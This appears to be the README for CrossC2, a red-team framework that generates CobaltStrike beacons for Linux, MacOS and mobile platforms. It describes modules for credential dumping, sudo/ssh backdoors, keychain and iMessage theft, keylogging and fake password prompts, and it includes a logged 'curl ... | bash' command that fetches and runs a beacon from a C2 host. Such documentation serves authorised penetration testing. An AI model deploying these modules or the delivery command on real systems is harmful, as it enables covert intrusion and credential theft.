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CrossC2 framework

README | ไธญๆ–‡ๆ–‡ๆกฃ

๐Ÿš€ For a faster way, see cna introduction GO๐Ÿ“Œ

๐Ÿ”ฅ Linux & MacOS supports no file landing, load and execute from memory dynamic library or executable file GO๐Ÿ“–

๐Ÿ”ฅ Flexibly customize the data return type of the execution file, portscan, screenshot, keystrokes, credentials and other user-defined development to achieve more convenient implementation GO๐Ÿ“– ( Sample: GO๐Ÿ“Œ )

๐Ÿ”ฅ Custom communication protocol GO๐Ÿ“–

๐Ÿ”ฅ Now supports lateral movement [GO๐Ÿ“Œ](#Lateral movement: Usage)

๐ŸŽ‰ Android & iPhone support GO๐Ÿ“Œ

CrossC2 framework - Generator CobaltStrike's cross-platform beacon


	 โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–„   โ–ˆโ–ˆโ–€โ–ˆโ–ˆโ–ˆ   โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ     โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–„   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–„
	โ–’โ–ˆโ–ˆโ–€ โ–€โ–ˆ  โ–“โ–ˆโ–ˆ โ–’ โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–’  โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ    โ–’ โ–’โ–ˆโ–ˆ    โ–’    โ–’โ–ˆโ–ˆโ–€ โ–€โ–ˆ        โ–ˆโ–ˆโ–‘
	โ–’โ–“โ–ˆ    โ–„ โ–“โ–ˆโ–ˆ โ–‘โ–„โ–ˆ โ–’โ–’โ–ˆโ–ˆโ–‘  โ–ˆโ–ˆโ–’โ–‘ โ–“โ–ˆโ–ˆโ–„   โ–‘ โ–“โ–ˆโ–ˆโ–„      โ–’โ–“โ–ˆ        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–’
	โ–’โ–“โ–“โ–„ โ–„โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–€โ–€โ–ˆโ–„  โ–’โ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘  โ–’   โ–ˆโ–ˆโ–’  โ–’   โ–ˆโ–ˆโ–’   โ–’โ–“โ–“โ–„ โ–„โ–ˆ โ–‘โ–’โ–ˆโ–ˆ
	โ–’ โ–“โ–ˆโ–ˆโ–ˆโ–€ โ–‘โ–‘โ–ˆโ–ˆโ–“ โ–’โ–ˆโ–ˆโ–’โ–‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’   โ–’ โ–“โ–ˆโ–ˆโ–ˆโ–€  โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“
	โ–‘ โ–‘โ–’ โ–’  โ–‘โ–‘ โ–’โ–“ โ–‘โ–’โ–“โ–‘โ–‘ โ–’โ–‘โ–’โ–‘โ–’โ–‘ โ–’ โ–’โ–“โ–’ โ–’ โ–‘โ–’ โ–’โ–“โ–’ โ–’ โ–‘   โ–‘ โ–‘โ–’ โ–’    โ–‘โ–’ โ–‘โ–“ โ–‘โ–‘
	  โ–‘  โ–’     โ–‘โ–’ โ–‘ โ–’โ–‘  โ–‘ โ–’ โ–’โ–‘ โ–‘ โ–‘โ–’  โ–‘ โ–‘โ–‘ โ–‘โ–’  โ–‘ โ–‘     โ–‘  โ–’     โ–‘ โ–‘โ–‘ โ–‘
	โ–‘          โ–‘โ–‘   โ–‘ โ–‘ โ–‘ โ–‘ โ–’  โ–‘  โ–‘  โ–‘  โ–‘  โ–‘  โ–‘  CrossC2 v2.0 @hook
	โ–‘ โ–‘         โ–‘         โ–‘ โ–‘        โ–‘        โ–‘     โ–‘ โ–‘          โ–‘
	โ–‘                                               โ–‘

Description

A security framework for enterprises and Red Team personnel, supports CobaltStrike's penetration testing of other platforms (Linux / MacOS / ...), supports custom modules, and includes some commonly used penetration modules.

Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.

WindowsLinuxMacOSiOSAndroidEmbedded
Run Env (x86)โˆš
Run Env (x64)โˆšโˆšโˆš
gen beacon (x86)โˆšโˆš
gen beacon (x64)โˆšโˆš
gen beacon (armv7)โปโˆš
gen beacon (arm64)โˆšโˆš
gen beacon (mips[el])โป

Restricted description:

Install & Usage

Download:

  1. choose Script Manager๏ผŒadd CrossC2.cna (If successfully installed, the menu bar will have an additional item CrossC2)
  2. Modify the genCC2 path in the CrossC2.cna script to the real path
77:    $genCC2 = "/xxx/xx/xx/genCrossC2.MacOS";  # <-------- fix

Create listener and copy key:

For some reasons, only HTTPS beacon is currently supported.

Copy .cobaltstrike.beacon_keys from the cs directory on the server to the local directory.

Reference documents: ๐Ÿ“– Wiki

Module: API introduction ๐Ÿ“– Wiki

It adopts the method of loading memory without landing, and supports dynamic libraries (.so/.dylib) and executable files (ELF/MachO). โš ๏ธ: Although the file is loaded directly from memory, the process can be viewed in ps when the executable file is passed in, but the process name can be customized.

The type of output information can be freely specified at the time of execution. The return type has been predetermined and can be docked with the native return data type of CS. โš ๏ธ: For special data types, such as passwords, port scan results, etc., please refer to the information returned by the native function of cs, which will be matched according to the regular.

  1. Password dump module: cc2_mimipenguin uses the open source project MimiPenguin2.0, see CrossC2Kit/ mimipenguin/mimipenguin.cna

  2. Authentication backdoor modules: cc2_auth, cc2_ssh sudo / su / passwd and other authentication backdoors, ssh is connected and the credentials to connect to other hosts will be recorded.

  3. Information collection modules: cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump access records of common browsers, as well as iMessage chat content and authentication credentials saved in the keychain will be obtained.

  4. Traffic proxy module: cc2_frp supports fast TCP/KCP(UDP) reverse socks5 encrypted traffic proxy.

  5. Keylogger module: cc2_keylogger records user's keyboard input.

  6. Network detection module: cc2_portscan, cc2_serverscan for port scanning and service version scanning.

  7. Privilege promotion module: cc2_prompt_spoof induces deception to obtain user account password.

  8. Task management module: cc2_job manages the modules running in memory.

  9. ...

Custom communication protocol: API introduction ๐Ÿ“– Wiki

Can more easily realize C2Profile configuration and custom communication protocol TCP / UDP and so on.

Lateral movement: Usage ๐Ÿ“– Wiki

  1. ็”Ÿๆˆ Linux-bind / MacOS-bind ็ฑปๅž‹็š„beacon
  2. ๅ†…็ฝ‘ไธญ็š„็›ฎๆ ‡่ฟ่กŒ ./MacOS-bind.beacon <port> ๅผ€ๅฏๆœๅŠก
  3. ๅœจ็ฝ‘็ปœ่”้€š็š„sessionไธญ่ฟ่กŒ connect <targetIP>:<port>

cna plugin way

Menu Bar: CrossC2 -> CrossC2 Payload Generator -> genCrossC2

Can be configured in the pop-up dialog:
1. Select beacon_key (the path cannot contain spaces, the problem is not solved yet)
2. A dynamic library of custom communication protocols that needs to be bound to beacon
3. Payload type (Staged generated shellcode requires stagerServer)

The information status will be prompted in the event interface during generation

05/01 23:31:03 *** /mnt/cc2/genCrossC2.MacOS 172.16.251.1 5555 /tmp/beacon_keys null MacOS x64 /tmp/CrossC2-test
05/01 23:31:06 *** genCrossC2 beacon -> *[success] :	Packed 1532232 byte.
05/01 23:31:07 *** hook hosted CrossC2 beacon MacOS x64 @ http://172.16.251.1:55413/iqEBVKwHoZ
05/01 23:31:07 *** hook hosted Script Unix Web Delivery (curl) @ http://172.16.251.1:55413/a
05/01 23:31:07 *** CrossC2 MacOS x64:   curl -A o -o- -L http://172.16.251.1:55413/a | bash -s

Coming soon

  1. Rich C2Profile support โœ”๏ธŽ (Choose custom HTTP module when CNA generates beaocn)
  2. Staged Type Shellcode Generation โœ”๏ธŽ (Only Linux is temporarily supported, and stagerServer needs to be started on the server)
  3. http-proxy (auth) & socks proxy back connection support
  4. Proxy-Pivots โœ”๏ธŽ (Temporarily adopt the method of connecting back to socks proxy)
  5. node beacon? (Single node type, can host other beacon without relying on teamserver)

Examples

Mobile

MacOS & Linux

CustomExtension

Develop dynamic libraries and customize data return types, such as implementing some built-in functions.

keystrokes

credentials

portscan

ChangeLog

release v2.0 :

release v1.5 :

release v1.4 :

release v1.3 :

md5(genCrossC2.Linux) = 221b3ede4e78fee80f59946f116d7245

md5(genCrossC2.MacOS) = d216cad3fe3c25ead46b85c7ad7051f1

md5(genCrossC2.Win.exe) = a573506e8825b46b041ac3b9307a656b

release v1.2 :

md5(genCrossC2.Linux) = 2ef7250cc3787d3cbd1e6f99c3c434aa

md5(genCrossC2.MacOS) = eaabde94dd7fed8dabb37cd67a1171c4

md5(genCrossC2.Win.exe) = c65ac808ed3a1000b3ff4ebb8c48ea4e

release v1.1 :

md5(genCrossC2.Linux) = 2347ed6e30e4655b793a6dbb4d33d25c

md5(genCrossC2.MacOS) = f530333500a76fe228864f8901af4104

md5(genCrossC2.Win.exe) = c223e31b2674a8a11d3254f92259e87a

release v1.0 :

md5(genCrossC2.Linux) = 12295998d4bffd5b4c4a411fb33428bb

md5(genCrossC2.MacOS) = c88ce9df47529b243e2215a866d445c5

md5(genCrossC2.Win.exe) = 51d1814f1ebbab634bce0373ceb7cee6

release v0.4 :

md5(genCrossC2.Linux) = b2e34f721ec2543b6625e33c8c2935df

md5(genCrossC2.MacOS) = 4e38a9d9a3eeff309648afc02e2e7664

release v0.3 :

release v0.2 :

md5(genCrossC2.Linux) = 8256374d88c2149efc102aff7e90b3f9

md5(genCrossC2.MacOS) = 08fce0a5d964a091d8bf2344d7ab809e

release v0.1 :

md5(genCrossC2.Linux) = f4c0cc85c7cdd096d2b7febedc037538

md5(genCrossC2.MacOS) = 79fff0505092fc2055824ed1289ce8f9